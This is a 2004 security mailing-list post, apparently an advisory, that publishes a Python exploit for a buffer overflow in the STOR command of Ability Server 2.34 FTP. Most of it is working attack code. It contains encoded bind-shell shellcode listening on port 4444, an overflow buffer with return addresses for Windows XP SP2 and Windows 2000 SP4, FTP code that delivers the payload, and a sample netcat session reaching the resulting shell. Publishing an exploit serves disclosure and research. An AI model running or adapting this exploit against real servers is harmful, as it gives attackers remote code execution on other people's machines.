[EXPL] Ability Server FTP STOR Buffer Overflow

From: SecuriTeam (support_at_securiteam.com)
Date: 10/24/04

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Date: 24 Oct 2004 16:18:30 +0200

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      Ability Server FTP STOR Buffer Overflow
    ------------------------------------------------------------------------

    SUMMARY

    Presented below is a Python script which exploits a vulnerability in
    <http://www.code-crafters.com/> Ability Server.

    DETAILS

    Vulnerable Systems:
     * Ability Server 2.34

    Exploit Code:
    #################################################
    # Ability Server 2.34 FTP STOR Buffer Overflow #
    # Advanced, secure and easy to use FTP Server. #
    # 21 Oct 2004 - muts #
    #################################################
    # D:\BO>ability-2.34-ftp-stor.py #
    #################################################
    # D:\data\tools>nc -v 127.0.0.1 4444 #
    # localhost [127.0.0.1] 4444 (?) open #
    # Microsoft Windows XP [Version 5.1.2600] #
    # (C) Copyright 1985-2001 Microsoft Corp. #
    # D:\Program Files\abilitywebserver> #
    #################################################

    import ftplib
    from ftplib import FTP
    import struct
    print "\n\n##################################################"
    print "\nAbility Server 2.34 FTP STOR buffer Overflow"
    print "\nFound & coded by muts [at] whitehat.co.il"
    print "\nFor Educational Purposes Only!\n"
    print "##################################################"

    # Shellcode taken from Sergio Alvarez's "Win32 Stack Buffer Overflow
    Tutorial"

    sc = "\xd9\xee\xd9\x74\x24\xf4\x5b\x31\xc9\xb1\x5e\x81\x73\x17\xe0\x66"
    sc += "\x1c\xc2\x83\xeb\xfc\xe2\xf4\x1c\x8e\x4a\xc2\xe0\x66\x4f\x97\xb6"
    sc += "\x31\x97\xae\xc4\x7e\x97\x87\xdc\xed\x48\xc7\x98\x67\xf6\x49\xaa"
    sc += "\x7e\x97\x98\xc0\x67\xf7\x21\xd2\x2f\x97\xf6\x6b\x67\xf2\xf3\x1f"
    sc += "\x9a\x2d\x02\x4c\x5e\xfc\xb6\xe7\xa7\xd3\xcf\xe1\xa1\xf7\x30\xdb"
    sc += "\x1a\x38\xd6\x95\x87\x97\x98\xc4\x67\xf7\xa4\x6b\x6a\x57\x49\xba"
    sc += "\x7a\x1d\x29\x6b\x62\x97\xc3\x08\x8d\x1e\xf3\x20\x39\x42\x9f\xbb"
    sc += "\xa4\x14\xc2\xbe\x0c\x2c\x9b\x84\xed\x05\x49\xbb\x6a\x97\x99\xfc"
    sc += "\xed\x07\x49\xbb\x6e\x4f\xaa\x6e\x28\x12\x2e\x1f\xb0\x95\x05\x61"
    sc += "\x8a\x1c\xc3\xe0\x66\x4b\x94\xb3\xef\xf9\x2a\xc7\x66\x1c\xc2\x70"
    sc += "\x67\x1c\xc2\x56\x7f\x04\x25\x44\x7f\x6c\x2b\x05\x2f\x9a\x8b\x44"
    sc += "\x7c\x6c\x05\x44\xcb\x32\x2b\x39\x6f\xe9\x6f\x2b\x8b\xe0\xf9\xb7"
    sc += "\x35\x2e\x9d\xd3\x54\x1c\x99\x6d\x2d\x3c\x93\x1f\xb1\x95\x1d\x69"
    sc += "\xa5\x91\xb7\xf4\x0c\x1b\x9b\xb1\x35\xe3\xf6\x6f\x99\x49\xc6\xb9"
    sc += "\xef\x18\x4c\x02\x94\x37\xe5\xb4\x99\x2b\x3d\xb5\x56\x2d\x02\xb0"
    sc += "\x36\x4c\x92\xa0\x36\x5c\x92\x1f\x33\x30\x4b\x27\x57\xc7\x91\xb3"
    sc += "\x0e\x1e\xc2\xf1\x3a\x95\x22\x8a\x76\x4c\x95\x1f\x33\x38\x91\xb7"
    sc += "\x99\x49\xea\xb3\x32\x4b\x3d\xb5\x46\x95\x05\x88\x25\x51\x86\xe0"
    sc += "\xef\xff\x45\x1a\x57\xdc\x4f\x9c\x42\xb0\xa8\xf5\x3f\xef\x69\x67"
    sc += "\x9c\x9f\x2e\xb4\xa0\x58\xe6\xf0\x22\x7a\x05\xa4\x42\x20\xc3\xe1"
    sc += "\xef\x60\xe6\xa8\xef\x60\xe6\xac\xef\x60\xe6\xb0\xeb\x58\xe6\xf0"
    sc += "\x32\x4c\x93\xb1\x37\x5d\x93\xa9\x37\x4d\x91\xb1\x99\x69\xc2\x88"
    sc += "\x14\xe2\x71\xf6\x99\x49\xc6\x1f\xb6\x95\x24\x1f\x13\x1c\xaa\x4d"
    sc += "\xbf\x19\x0c\x1f\x33\x18\x4b\x23\x0c\xe3\x3d\xd6\x99\xcf\x3d\x95"
    sc += "\x66\x74\x32\x6a\x62\x43\x3d\xb5\x62\x2d\x19\xb3\x99\xcc\xc2"

    # Change RET address if need be.

    #buffer = '\x41'*966+struct.pack('<L', 0x7C2FA0F7)+'\x42'*32+sc # RET
    Windows 2000 Server SP4
    buffer = '\x41'*970+struct.pack('<L', 0x7D17D737)+'\x42'*32+sc # RET
    Windows XP SP2

    try:
        # Edit the IP, Username and Password.
        ftp = FTP('127.0.0.1')
        ftp.login('ftp','ftp')
        print "\nEvil Buffer sent..."
        print "\nSploit will hang now because I couldn\'t figure how to use
    storelines()."
        print "\nTry connecting with netcat to port 4444 on the remote
    machine."
    except:
        print "\nCould not Connect to FTP Server."
    try:
        ftp.transfercmd("STOR " + buffer)
    except:
        print "\nDone."

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:jerome.athias@caramail.com>
    JXrXme ATHIAS.

    ========================================

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